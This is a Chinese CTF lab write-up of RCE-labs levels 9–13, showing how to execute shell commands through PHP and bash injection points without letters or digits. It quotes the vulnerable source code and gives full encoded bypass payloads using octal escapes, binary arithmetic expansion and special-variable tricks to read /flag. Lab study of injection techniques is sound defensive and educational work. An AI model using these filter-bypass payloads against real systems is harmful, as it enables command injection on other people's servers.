前言

本次练习靶场 RCE-labs 出自探姬(ProbiusOfficial)的 HelloCTF 开源项目。

无字母数字命令执行是命令注入中的高阶利用技巧,也是 CTF Web 题型中极具区分度的考点。当 WAF 过滤了所有字母和数字时,常规的 cat、ls 等命令完全无法使用,需要借助 Bash Shell 的特殊变量、语法特性和内置机制,纯靠符号拼出可执行命令。

本部分 Level 9~13 聚焦基于 Bash 的无字母命令执行,从基础特殊变量到进阶构造手法,循序渐进展示无字母数字场景下的命令执行思路,适合系统性学习 Bash 特性与极限绕过技巧。

文中所有分析、Payload 仅在自行部署的本地靶场环境学习练习,仅作为个人学习笔记分享。严禁将文中方法使用于任何未授权目标,自觉遵守《网络安全法》等相关法律法规。

整篇笔记统一采用源码分析 → 漏洞原理 → Payload 构造结构,方便后续复盘查阅。

开源仓库:https://github.com/ProbiusOfficial/RCE-labs


Bash 特性前置说明

📖 本部分内容参考探姬大佬的靶场注释与官方讲解整理,补充了一些便于理解的解读。

从 Level 9 开始,后面几道无字母命令执行的题目都依赖 Bash 的专属语法特性。在正式做题之前,先把几个容易混淆的基础概念讲清楚,能帮你更好地理解后面的 Payload 为什么能生效、又为什么会失效。


一、sh 不是真的 shell,它只是个软链接

很多人以为 sh 是一个独立的 shell 程序,其实不是——在绝大多数 Linux 系统里,/bin/sh 都只是一个软链接(相当于 Windows 里的快捷方式),它最终指向哪个 shell,不同系统不一样:

系统/发行版/bin/sh 默认指向支不支持 $'\xxx' 语法
Debian / Ubuntudash❌ 不支持
CentOS / RHELbash✅ 支持
Alpine(本靶场默认)busybox❌ 不支持

怎么验证?执行 ls -l /bin/sh 就能看到软链接最终指向哪里。

在这里插入图片描述
截图里可以清晰看到:/bin/sh -> dash,Kali 基于 Debian,默认 sh 指向 dash。手动终端使用bash,可以解析$'\xxx';PHP system()调用/bin/sh也就是dash,dash不支持该语法,Payload运行报错。

验证小实验:终端直接输入dash进入dash环境,测试$'\154\163',会复现和PHP内一模一样的报错。无需启动Web服务就能验证。

在这里插入图片描述


二、PHP 的 system() 走的是 sh,不是 bash

这是最容易踩坑的地方:你在终端里直接敲命令用的是 bash,但 PHP 的 system()、exec() 这些函数,底层是通过 sh 来执行命令的。

可以用 echo $0 验证当前运行的 shell:

  • 终端直接执行 → 通常输出 bash
  • 通过 PHP system() 执行 → 输出 sh

这就导致一个问题:你在本地 bash 里测通的 Payload,放到 PHP 里可能直接失效——因为 sh 指向的 dash 或 busybox 不支持那些 bash 专属语法。


三、靶场为什么特意改了软链接?

题目 Dockerfile 里加了这一行:

RUN ln -sf /bin/bash /bin/sh

就是为了把 sh 从默认的 busybox 改成指向 bash,让 $'\xxx' 这种 bash 专属语法能通过 PHP system() 正常执行。

💡 实战提示:遇到无字母命令执行的题目,先想办法确认 sh 指向哪个 shell。如果指向 dash,八进制、十六进制这些 bash 专属玩法都用不了,得换其他思路。


四、怎么快速判断环境支不支持?

最简单的验证方法:执行 $'\154\163'(也就是 ls 的八进制表示):

  • 能列出目录 → 说明是 bash,支持该语法
  • 报 not found → 说明是 dash/busybox,不支持

📌 一句话总结:无字母命令执行的很多技巧都是 Bash 专属特性,能不能用的前提是目标环境的 sh 必须指向 bash。这也是后面所有关卡成立的基础。


RCELABS - 9:八进制转义构造命令

题目描述

  • 考点:Bash 无字母命令执行 - 八进制
  • ·描述:通过 $‘\ooo’ 八进制转义把命令字符拼出来。
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx    1 root     root            12 Mar 16  2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。

bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found

bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r--    1 www-data www-data       829 Aug 14 19:39 index.php

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

源码分析

核心过滤逻辑:

if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
    die("WAF!");
}
system($cmd);
过滤项具体内容可用字符
正则黑名单所有大小写字母、双引号、%、*、+、,、-、.、/、:、;、=、>、?、@、[、]、^、`、|数字、$、'、(、)、{、}、_、\、空格、# 等
执行函数system() 执行系统命令——
环境特殊改动Dockerfile 中 ln -sf /bin/bash /bin/shsh 实际指向 bash,支持 bash 专属语法

为什么要改软链接?默认 alpine 的 /bin/sh 指向 busybox,不支持 $'\xxx' 这种 bash 专属转义语法,必须换成 bash 才能用。


漏洞原理

这道题利用的是 Bash 的 $'\ooo' 八进制转义语法——用三位八进制数字表示一个 ASCII 字符,从而在不直接书写字母的情况下还原出命令。

语法格式:

$'\143\141\164'

等价于:

cat

每个 \ooo 是一个字符的八进制 ASCII 码,比如:

  • c = 十进制 99 = 八进制 143
  • a = 十进制 97 = 八进制 141
  • t = 十进制 116 = 八进制 164

注意:带参数的命令不能直接把空格也转义后拼在一起,必须分开写。

错误:$'\154\163\40\55\154'(把空格也转义拼进去会被当成命令名的一部分)

正确:$'\154\163' $'\55\154'(命令和参数分开,中间用真实空格分隔)


Payload 构造

目标命令:cat /flag

由于空格不能直接转义拼进命令里,需要把命令和参数分开:

$'\143\141\164' $'\057\146\154\141\147'

等价于:

cat /flag

手动转换太麻烦?题目作者提供了现成工具:


利用方式

GET 传参:

?cmd=$'\143\141\164'$IFS$'\057\146\154\141\147'

小技巧:空格也被过滤了,可以用 $IFS 替代空格分隔命令和参数。

或者用 ${IFS} 更稳妥:

?cmd=$'\143\141\164'${IFS}$'\057\146\154\141\147'

执行后即可读取 /flag 文件内容。


在这里插入图片描述
最终获得flag:flag{qbw1yrnj-gkkw-4kt-8zxt-q1iquthmoismt}

📌 核心思路:利用 Bash $'\ooo' 八进制转义语法,把字母全部换成八进制表示,绕过字母黑名单。


RCELABS - 10:二进制整数替换

题目描述

  • 考点:Bash 无字母命令执行 - 二进制
  • 描述:使用 $((2#binary)) 将二进制数字转换为可用字符。
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 --- 

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

源码分析
核心过滤逻辑:

if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
    die("WAF!");
}
system($cmd);
过滤项具体内容可用字符
正则黑名单大小写字母、2~9数字、" % * + , - . / : ; = > ? @ [ ] ^ ` |仅能使用:0、1、$、'、(、)、{、}、_、\、空格、#
执行函数system() 调用系统shell执行命令——
环境特殊改动Docker 软链接 /bin/sh → /bin/bash默认sh不支持bash算术扩展语法,必须bash才能解析$((2#xxxx))二进制转换

关键点:过滤掉数字2-9,只剩下数字0可用,无法使用十进制/八进制字符转换,只能依靠bash二进制解析语法。


漏洞原理
本题利用 Bash 算术扩展 $((2#binary_str)) 语法:
$((2#xxxx)) 可以将一串由0/1组成的二进制字符串,转换成对应十进制ASCII数值,再依靠Bash语法解析还原目标字符,在不直接书写字母的情况下拼接系统命令。

语法结构拆解:

  1. 2#01100011:标识后续字符串为二进制数据;
  2. $((2#01100011)) 运算得到十进制数值 99,对应ASCII字符 c;

约束:整个构造过程只允许出现字符0、括号、$,完美契合本题WAF过滤规则。


Payload 构造
目标命令:cat /flag

八进制 $'\ooo' 属于字符串字面量;二进制 $((2#xxx)) 是独立算术扩展单元,每一段本身就是独立语法块! $'\ooo'会将带有空格的八进制字符串转换成一句话,这样会出错,所以八进制转换的时候空格单独用${IFS}来表示而二进制的时候可以直接转换

单个字符基础模板:
$((2#二进制编码))

在这里插入图片描述

手动编写二进制串效率极低,可使用题目配套 bashFuck 工具切换二进制模式生成payload:


利用方式

  1. 使用工具生成纯二进制构造的原始Bash Payload;
  2. 将完整Payload进行URL编码;
  3. GET参数传入编码后字符串执行。

优先URL编码更稳妥,可以规避两类常见坑:

  1. Payload 里存在 $ ( ) 空格这类 URL保留字符
    浏览器/GET请求中,如果不编码:
    空格会被自动截断、$ 部分代理、中间件可能发生意外解析,造成Payload残缺,直接WAF拦截或者执行失效。
  2. 复制链接直接丢浏览器地址栏访问时,未编码特殊符号极易畸变。

这里我们使用线上URL编码转换的工具https://www.toolhelper.cn/EncodeDecode/Url

在这里插入图片描述

Payload为:

?cmd=%240%3c%3c%3c%240%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%24((1%3c%3c1))%2310001111))%5c%5c%24((%24((1%3c%3c1))%2310001101))%5c%5c%24((%24((1%3c%3c1))%2310100100))%5c%5c%24((%24((1%3c%3c1))%23101000))%5c%5c%24((%24((1%3c%3c1))%23111001))%5c%5c%24((%24((1%3c%3c1))%2310010010))%5c%5c%24((%24((1%3c%3c1))%2310011010))%5c%5c%24((%24((1%3c%3c1))%2310001101))%5c%5c%24((%24((1%3c%3c1))%2310010011))%5c%27

访问链接后执行cat /flag读取flag文件。

在这里插入图片描述

成功获取flag:flag{jbwz8dbl-pz79-45y-8bwg-uqu1l0m9owesz}


📌 核心思路:
WAF禁用字母与2~9数字,仅保留数字0;借助bash二进制算术扩展$((2#xxx)),仅使用0、1组成二进制字符串计算ASCII码,动态还原命令字符;最终Payload进行URL编码后传入参数,绕过黑名单过滤实现命令执行。


RCELABS - 11:数字1的特殊变量替换

题目描述

  • 考点:Bash 无字母命令执行 - 1 的特殊变量替换
  • 描述:在二进制构造的基础上,结合特殊变量替换拼出 1。
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 --- 

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1 

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;

highlight_file(__FILE__);


?>

源码分析

function hello_shell($cmd){
    if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}
过滤项具体内容可用字符
正则黑名单大小写字母、数字1~9、" % * + , - . / : ; = > ? @ [ ] ^ ` |0、$、'、(、)、{、}、_、\、空格、#
请求方式POST 接收cmd参数——
执行函数system(),sh软链接指向bash,支持bash高级扩展语法——

和Level10对比:本关进一步拦截所有数字1~9,无法直接书写字面量1。
$((2#binary))二进制语法必须使用1构造二进制串,因此需要bash语法动态生成数字1。

漏洞原理

$# / ${#}:代表传递给当前shell的位置参数总数。
在system()拉起交互式bash环境时,没有传入任何参数:

echo $#
# 输出:0

${#var}:bash字符串长度扩展。作用:获取变量var内存储内容的字符串长度

str="abcd"
echo ${#str}
# 输出:4

bash解析 ${##} 规则:

  1. 外层第一个 # = 长度扩展运算符 ${#var};
  2. 第二个 # = 变量名 ${#} → 也就是变量 $#;

完整拆解:
${##} ⇔ ${#$#}

  • $# 在当前环境的值为 0;
  • 将0视作字符串,字符串"0"长度 = 1;

本地验证:

echo ${##}
# 输出 1

完美动态生成数值1,规避明文书写1

重要区分
${#1} ≠ 1:
${#1} 含义:取变量$1的字符串长度;$1为空字符串,结果为0,不可使用。

进制基数2的构造
进制语法 base#binary 中 base=2,同样不能直接写数字2。
利用位运算左移生成:${##}<<${##}

  • ${##}=1
  • $((1 << 1)) = 2
    实现动态得到进制基数2。

完整语法链路

  1. ${##} → 结果 1
  2. $(( ${##} << ${##} )) → 等价 $((1<<1)) → 得到 2
  3. $(( $((${##}<<${##}))#${##}00${##}${##}0${##}0 ))
    等效 $((2#10011010)),二进制转换得到十进制ASCII码。

整条逻辑闭环:
不出现任何明文1、明文2,仅使用合法字符0 $ ( ) { } #,满足WAF过滤。

Payload 构造

目标命令:cat /flag
规则约束:禁止明文1~9,二进制串内所有1使用${##}替代;进制基数2使用$((${##}<<${##}))动态构造。

手动拼接二进制串工作量极大且极易写错,推荐使用官方在线bashFuck工具一键生成符合要求的Payload:
在线地址:https://probiusofficial.github.io/bashFuck/
工具配置:输入命令cat /flag,模式选择Binary,勾选No 1选项,直接复制生成结果。
⚠️工具生成载荷自带原生空格分隔各个语法单元,空格未被WAF拦截,无需使用${IFS};二进制串内部连续书写,不能添加空格。

  1. 打开在线bashFuck工具,按上述配置生成原始Bash Payload;
  2. 本关卡采用POST请求传输cmd参数;
  3. 建议将完整Payload进行URL编码后发送,防止$、#、括号等特殊字符在HTTP传输过程发生解析异常。

这里POST请求

cmd=%240%3c%3c%3c%240%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d000%24%7b%23%23%7d%24%7b%23%23%7d%24%7b%23%23%7d%24%7b%23%23%7d))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d000%24%7b%23%23%7d%24%7b%23%23%7d0%24%7b%23%23%7d))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d0%24%7b%23%23%7d00%24%7b%23%23%7d00))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d0%24%7b%23%23%7d000))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d%24%7b%23%23%7d%24%7b%23%23%7d00%24%7b%23%23%7d))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d00%24%7b%23%23%7d00%24%7b%23%23%7d0))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d00%24%7b%23%23%7d%24%7b%23%23%7d0%24%7b%23%23%7d0))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d000%24%7b%23%23%7d%24%7b%23%23%7d0%24%7b%23%23%7d))%5c%5c%24((%24((%24%7b%23%23%7d%3c%3c%24%7b%23%23%7d))%23%24%7b%23%23%7d00%24%7b%23%23%7d00%24%7b%23%23%7d%24%7b%23%23%7d))%5c%27

使用HackBar发送请求后执行命令读取 /flag 文件。

在这里插入图片描述

成功获得flag:flag{jw83pmib-ab1o-4mu-8aah-zonlsgjgtmmj9}


核心思路

在上一关二进制命令执行基础上,WAF拦截数字1~9,无法直接书写二进制所需字符1与进制基数2。
利用bash ${##} ⇔ ${#$#} 语法:$#默认值为0,字符串"0"长度等于1,动态生成数值1;
再通过位运算 ${##}<<${##} 运算得到2,满足$((base#二进制串))语法要求;
全程仅使用放行字符,最终实现无字母、无明文数字1~9的命令执行。

💡补充笔记

  1. ${##} 属于Bash独有语法,BusyBox sh不支持,因此环境需要将 /bin/sh 软链接至bash;
  2. 区分 ${#1} 和 ${##}:${#1} 获取空位置参数长度,运算结果为0,不可使用;
  3. 多个构造单元中间依靠原生空格分割,不要将所有内容拼接成单一字符串,否则Bash识别为一条不存在的命令名称。

RCELABS - 12:数字0的特殊变量替换

题目描述

  • 考点:Bash 无字母命令执行 - 0 的特殊变量替换
  • 描述:在更强限制下构造 0 并继续拼接 Bash 命令。

在这里插入图片描述
源码与WAF规则提取
WAF正则:[A-Za-z0-9"%*+,-.\/:;=>?@\[\\\]^~_"] ✅放行字符:$ ( ) { } # `
❌拦截范围:全部大小写字母、数字0~9,额外过滤符号 " % * + , - . / : ; = > ? @ [ \ ] ^ ~ _`

关卡环境说明
本关不再使用PHP system()调用shell,改用Flask + Python subprocess直接拉起原生bash交互环境。


漏洞原理

前置语法回顾

  1. ${#var}:字符串长度扩展,获取变量内文本长度
    • $#:无传参时固定为0
    • ${##} ⇔ ${#$#}:字符串"0"长度 = 1
  2. 间接扩展 ${!xxx}(本关核心考点)
    语法定义:将变量xxx存储的值视作变量名,读取对应变量内容
a=0
echo ${!a}
# 等价 echo $0

关键变量行为

# 无参数启动bash
echo $#        # 输出 0
echo ${##}     # 输出 1
echo ${!#}     # ${!0} → 读取 $0,输出当前shell名称 sh/bash
echo $?        # 上条命令退出码,默认值 0

整套动态数值生成逻辑

  1. ${##} → 稳定生成数值 1
  2. ${#}(即$#)→ 稳定生成数值 0
  3. $(( ${##} << ${##} )) → $((1<<1)),生成进制基数 2
  4. ${!#} 间接扩展作为拓展利用方式(本环境原生bash完整支持,PHP system环境无法正常工作)

所有二进制串内的0、1全部依靠表达式动态生成,全文不存在任何明文数字0~9,完全绕过WAF黑名单。

语法链路:
$(( $((${##}<<${##}))#二进制序列 ))
二进制序列中的1替换为${##},0替换为${#}。

💡区分边界:
${!#}拓展语法仅在本关卡Python拉起原生bash环境可用;前序关卡PHP+system模式不兼容该特性,不要混用。


Payload 构造
目标命令:cat /flag

手动拼接二进制序列工作量巨大,使用官方bashFuck在线工具一键生成载荷
在线工具地址:https://probiusofficial.github.io/bashFuck/

${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'7

页面为网页内置 Virtual Terminal(虚拟终端),直接在输入框粘贴工具生成的原始Payload,点击Execute执行。

不需要URL编码!
场景区别:
Level9/10/11为HTTP传参(GET/POST),特殊符号需要URL编码;
Level12是前端虚拟终端直传命令给bash,直接粘贴原始载荷即可。

在这里插入图片描述

成功获取到flag:flag{r56c75lg-u7so-4oj-8d2h-emvmmkds6cfrc}


在上一关基础上,WAF进一步封禁全部明文数字0~9,无法直接书写0与1。
依托Python subprocess拉起完整原生bash环境,利用:

  1. ${#} 获取数值0,${##} 获取数值1;
  2. 位运算 ${##}<<${##} 动态生成进制基数2;
  3. 搭配$((base#二进制串))算术扩展还原ASCII字符;
    全程仅使用放行符号,实现无字母、无任何明文数字的命令执行。

📝拓展笔记
${!#} 间接变量扩展是bash独有特性,仅在本关卡环境可用;若移植到PHP system()场景会失效,属于环境兼容性限制,不能套用到前面关卡。


RCELABS - 13:特殊扩展替换任意数字

题目描述

  • 考点:Bash 无字母命令执行 - 任意数字构造
  • 描述:利用取反和特殊变量替换拼出任意数字。
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 --- 

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为 $(()) + 取反 构造任意数字

echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

源码分析

function hello_shell($cmd){
    if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}
  • 请求方式:GET 传参 cmd
  • 可用字符:$ ( ) ~ # < = &、空格

重点:# 没有被WAF过滤,理论上Level11/12的 ${#} / ${##} 语法依然可以运行;但本关考察全新方案:位取反构造数字。

漏洞原理
此题为什么用不了#

环境兼容性重点,这里请看探姬大佬的讲解
在这里插入图片描述
${!xxx} 是bash专属间接变量扩展特性:将变量存储的值视作变量名,读取目标变量内容。
在PHP system() 调用 sh -c 的模式下,受限于dash或者bash非交互模式限制,${!#} 无法正常解析;
Level12采用Python subprocess直接启动原生bash交互终端,完整bash环境原生支持该语法。

基础运算

  1. $(()):空算术表达式,结果 = 0
echo $(())
# 0
  1. ~ bash位取反规则:~n = -n - 1
$((~$(())))
# ~0 = -1

构造逻辑

  • $((~$(()))) → -1
  • 累加多个-1,得到任意负数:$(($((~$(())))+$((~$(()))))) = -2
  • 外层套负号,负负得正,转换成正数:
    $(( - $(($((~$(())))+$((~$(()))))) )) → -(-2)=2

依靠这套逻辑,可以造出任意正整数,不止0和1,通用性远超 ${##} 方案。

此处贴出列表

oct_list = [  # 构造数字 0-7 以便于后续八进制形式的构造
    '$(())',  # 0
    '$((~$(($((~$(())))$((~$(())))))))',  # 1
    '$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  # 2
    '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 3
    '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 4
    '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 5
    '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 6
    '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 7
]

和旧方案对比

  • ${#} / ${##}:仅能生成 0、1,适用场景有限;
  • ~位取反方案:可自由生成任意数字,是无数字RCE通用方法。

出题意图:学习一套不依赖 ${#} 字符串长度扩展、普适性更强的数字构造思路。

Payload 构造

目标命令:cat /flag
转换得到:

__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

转换为URL,最终payload为:

?cmd=__%3d%24(())%26%26%24%7b!__%7d%3c%3c%3c%24%7b!__%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24(())%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%5c%5c%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%24((%7e%24((%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))%24((%7e%24(())))))))%5c%27%0a

成功获得flag:flag{urcdbhzk-omde-4y8-8e3y-gz1buyuepkaop}

WAF拦截所有明文数字、字母。虽然放行#,但本关学习位取反构造体系:
$(()) 得到0,~运算得到-1;累加、取负运算生成需要的任意正数,配合 $((基数#二进制串)) 还原字符,实现无字母无明文数字RCE。

